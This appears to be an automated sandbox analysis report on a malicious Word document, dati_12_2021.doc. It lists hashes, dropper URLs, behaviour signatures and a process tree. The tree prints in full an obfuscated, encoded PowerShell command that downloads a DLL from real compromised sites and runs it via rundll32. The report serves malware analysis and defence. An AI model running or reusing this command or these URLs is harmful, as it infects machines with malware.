5011b9d3918375637478cd90e8c64ca597910b7d6a76042e06527b77886c43e7

General

Target

dati_12_2021.doc
Size

162KB
MD5

16c6a20e9886d7d0967ad6fd3c37a34b
SHA1

057a70580057da08a7c33557675dee7ac92e3067
SHA256

5011b9d3918375637478cd90e8c64ca597910b7d6a76042e06527b77886c43e7
SHA512

ca69decb5a7331d5cb679688ba3c38358d8b7363f8aed468234cfaf9a900b64cdad8da0bf04eabd95d5f0372b1bfa970bd09bdd5aa15e0ac5778d36a6c0fbd3b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.mitraship.com/wp-content/ZKeB/

exe.dropper

http://djsrecord.com/wp-includes/abop/

exe.dropper

https://lastfrontierstrekking.com/new/2OaabFU/

exe.dropper

https://watchnshirt.com/y/L7z9YcA/

exe.dropper

https://www.impipower.com/wp-content/U/

exe.dropper

https://www.inkayniperutours.com/druver/LtcG/

exe.dropper

https://vysimopoulos.com/d/NF/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1228 1712 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 268 powershell.exe
8 1400 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1800 rundll32.exe
1800 rundll32.exe
1800 rundll32.exe
1800 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1228	1712	cmd.exe

flow	pid	process
6	268	powershell.exe
8	1400	rundll32.exe

pid	process
1800	rundll32.exe
1800	rundll32.exe
1800	rundll32.exe
1800	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Mtshpef\xdfswv.evg	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1584 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

268 powershell.exe
268 powershell.exe
1400 rundll32.exe
1400 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 268 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1584 WINWORD.EXE
1584 WINWORD.EXE

pid	process
1584	WINWORD.EXE

pid	process
268	powershell.exe
268	powershell.exe
1400	rundll32.exe
1400	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	268	powershell.exe

pid	process
1584	WINWORD.EXE
1584	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1228 wrote to memory of 1636	1228	cmd.exe	msg.exe
PID 1228 wrote to memory of 1636	1228	cmd.exe	msg.exe
PID 1228 wrote to memory of 1636	1228	cmd.exe	msg.exe
PID 1228 wrote to memory of 268	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 268	1228	cmd.exe	powershell.exe
PID 1228 wrote to memory of 268	1228	cmd.exe	powershell.exe
PID 268 wrote to memory of 824	268	powershell.exe	rundll32.exe
PID 268 wrote to memory of 824	268	powershell.exe	rundll32.exe
PID 268 wrote to memory of 824	268	powershell.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 1800	824	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe
PID 1800 wrote to memory of 1400	1800	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dati_12_2021.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1584

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll ShowDialogA
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll ShowDialogA
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:1800
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mtshpef\xdfswv.evg",ShowDialogA
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll

MD5
f888ad32544f0b9ee1545dfbb10cac01

SHA1
a4d5aaa75f20d133220b3e19b9b847562c08bddc

SHA256
eefc473b055c84b3515fb8f062ce103ba7b5521a07155a10cfdaf051d0a27ed1

SHA512
d2f0761b89c5fc6945ca0b8f75a8d9720f752418858d17eacd797a8eb88cbcf3d3a319afae4ae05401aeb571bca114e19cc8bb1cbd8ac8b409595f9782ce6934

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll

MD5
f888ad32544f0b9ee1545dfbb10cac01

SHA1
a4d5aaa75f20d133220b3e19b9b847562c08bddc

SHA256
eefc473b055c84b3515fb8f062ce103ba7b5521a07155a10cfdaf051d0a27ed1

SHA512
d2f0761b89c5fc6945ca0b8f75a8d9720f752418858d17eacd797a8eb88cbcf3d3a319afae4ae05401aeb571bca114e19cc8bb1cbd8ac8b409595f9782ce6934

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll

MD5
f888ad32544f0b9ee1545dfbb10cac01

SHA1
a4d5aaa75f20d133220b3e19b9b847562c08bddc

SHA256
eefc473b055c84b3515fb8f062ce103ba7b5521a07155a10cfdaf051d0a27ed1

SHA512
d2f0761b89c5fc6945ca0b8f75a8d9720f752418858d17eacd797a8eb88cbcf3d3a319afae4ae05401aeb571bca114e19cc8bb1cbd8ac8b409595f9782ce6934

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll

MD5
f888ad32544f0b9ee1545dfbb10cac01

SHA1
a4d5aaa75f20d133220b3e19b9b847562c08bddc

SHA256
eefc473b055c84b3515fb8f062ce103ba7b5521a07155a10cfdaf051d0a27ed1

SHA512
d2f0761b89c5fc6945ca0b8f75a8d9720f752418858d17eacd797a8eb88cbcf3d3a319afae4ae05401aeb571bca114e19cc8bb1cbd8ac8b409595f9782ce6934

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll

MD5
f888ad32544f0b9ee1545dfbb10cac01

SHA1
a4d5aaa75f20d133220b3e19b9b847562c08bddc

SHA256
eefc473b055c84b3515fb8f062ce103ba7b5521a07155a10cfdaf051d0a27ed1

SHA512
d2f0761b89c5fc6945ca0b8f75a8d9720f752418858d17eacd797a8eb88cbcf3d3a319afae4ae05401aeb571bca114e19cc8bb1cbd8ac8b409595f9782ce6934

Download Submit
memory/268-6-0x000000001AB50000-0x000000001AB51000-memory.dmp

Filesize
4KB

Download
memory/268-8-0x0000000002480000-0x0000000002481000-memory.dmp

Filesize
4KB

Download
